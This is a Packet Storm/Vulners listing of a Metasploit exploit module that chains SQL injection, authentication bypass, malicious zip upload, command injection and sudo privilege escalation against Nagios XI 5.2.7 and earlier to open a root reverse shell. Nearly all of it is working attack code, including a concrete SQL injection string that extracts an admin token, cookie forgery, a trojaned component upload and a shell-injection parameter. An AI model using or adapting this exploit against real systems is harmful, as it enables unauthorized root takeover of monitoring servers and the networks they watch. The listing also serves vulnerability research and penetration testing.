Lucene search
+L

Nagios XI Chained Remote Code Execution

🗓️ 06 Jul 2016 00:00:00Reported by wvuType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Nagios XI Chained Remote Code Execution - Exploits SQL injection, auth bypass, file upload, command injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Nagios XI Chained Remote Code Execution',  
'Description' => %q{  
This module exploits an SQL injection, auth bypass, file upload,  
command injection, and privilege escalation in Nagios XI <= 5.2.7  
to pop a root shell.  
},  
'Author' => [  
'Francesco Oddo', # Vulnerability discovery  
'wvu' # Metasploit module  
],  
'References' => [  
['EDB', '39899']  
],  
'DisclosureDate' => 'Mar 6 2016',  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Payload' => {  
'Compat' => {  
'PayloadType' => 'cmd cmd_bash',  
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'  
}  
},  
'Targets' => [  
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash',  
'LHOST' => Rex::Socket.source_address  
}  
))  
end  
  
def check  
res = send_request_cgi!(  
'method' => 'GET',  
'uri' => '/nagiosxi/'  
)  
  
return unless res && (html = res.get_html_document)  
  
if (version = html.at('//input[@name = "version"]/@value'))  
vprint_status("Nagios XI version: #{version}")  
if Gem::Version.new(version) <= target[:version]  
return CheckCode::Appears  
end  
end  
  
CheckCode::Safe  
end  
  
def exploit  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')  
end  
  
print_status('Getting API token')  
get_api_token  
print_status('Getting admin cookie')  
get_admin_cookie  
print_status('Getting monitored host')  
get_monitored_host  
  
print_status('Downloading component')  
download_profile_component  
print_status('Uploading root shell')  
upload_root_shell  
print_status('Popping shell!')  
pop_dat_shell  
end  
  
#  
# Cleanup methods  
#  
  
def on_new_session(session)  
super  
  
print_status('Cleaning up...')  
  
commands = [  
'rm -rf ../profile',  
'unzip -qd .. ../../../../tmp/component-profile.zip',  
'chown -R nagios:nagios ../profile',  
"rm -f ../../../../tmp/component-#{zip_filename}"  
]  
  
commands.each do |command|  
vprint_status(command)  
session.shell_command_token(command)  
end  
end  
  
#  
# Exploit methods  
#  
  
def get_api_token  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',  
'vars_get' => {  
'mode' => 'resolve',  
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \  
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \  
'),FLOOR(RAND(0)*2))x ' \  
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '  
}  
)  
  
if res && res.body =~ /Duplicate entry '(.*?).'/  
@api_token = $1  
vprint_good("API token: #{@api_token}")  
else  
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')  
end  
end  
  
def get_admin_cookie  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/nagiosxi/rr.php',  
'vars_get' => {  
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +  
Digest::MD5.hexdigest(@api_token)  
}  
)  
  
if res && (@admin_cookie = res.get_cookies.split('; ').last)  
vprint_good("Admin cookie: #{@admin_cookie}")  
get_csrf_token(res.body)  
else  
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')  
end  
end  
  
def get_csrf_token(body)  
if body =~ /nsp_str = "(.*?)"/  
@csrf_token = $1  
vprint_good("CSRF token: #{@csrf_token}")  
else  
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')  
end  
end  
  
def get_monitored_host  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/nagiosxi/ajaxhelper.php',  
'cookie' => @admin_cookie,  
'vars_get' => {  
'cmd' => 'getxicoreajax',  
'opts' => '{"func":"get_hoststatus_table"}',  
'nsp' => @csrf_token  
}  
)  
  
return unless res && (html = res.get_html_document)  
  
if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))  
vprint_good("Monitored host: #{@monitored_host}")  
else  
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')  
end  
end  
  
def download_profile_component  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/nagiosxi/admin/components.php',  
'cookie' => @admin_cookie,  
'vars_get' => {  
'download' => 'profile'  
}  
)  
  
if res && res.body =~ /^PK\x03\x04/  
@profile_component = res.body  
else  
fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')  
end  
end  
  
def upload_root_shell  
mime = Rex::MIME::Message.new  
mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')  
mime.add_part('1', nil, nil, 'form-data; name="upload"')  
mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')  
mime.add_part(payload_zip, 'application/zip', 'binary',  
'form-data; name="uploadedfile"; ' \  
"filename=\"#{zip_filename}\"")  
  
res = send_request_cgi!(  
'method' => 'POST',  
'uri' => '/nagiosxi/admin/components.php',  
'cookie' => @admin_cookie,  
'ctype' => "multipart/form-data; boundary=#{mime.bound}",  
'data' => mime.to_s  
)  
  
if res && res.code != 200  
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'  
vprint_warning('Nagios XI not configured')  
else  
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')  
end  
end  
end  
  
def pop_dat_shell  
send_request_cgi(  
'method' => 'GET',  
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',  
'cookie' => @admin_cookie,  
'vars_get' => {  
'host' => @monitored_host,  
'end' => ';sudo ../profile/getprofile.sh #'  
}  
)  
end  
  
#  
# Support methods  
#  
  
def payload_zip  
zip = Rex::Zip::Archive.new  
  
Zip::File.open_buffer(@profile_component) do |z|  
z.each do |f|  
zip.entries << Rex::Zip::Entry.new(  
f.name,  
(if f.ftype == :file  
if f.name == 'profile/getprofile.sh'  
payload.encoded  
else  
z.read(f)  
end  
else  
''  
end),  
Rex::Zip::CM_DEFLATE,  
nil,  
(Rex::Zip::EFA_ISDIR if f.ftype == :directory)  
)  
end  
end  
  
zip.pack  
end  
  
#  
# Utility methods  
#  
  
def zip_filename  
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation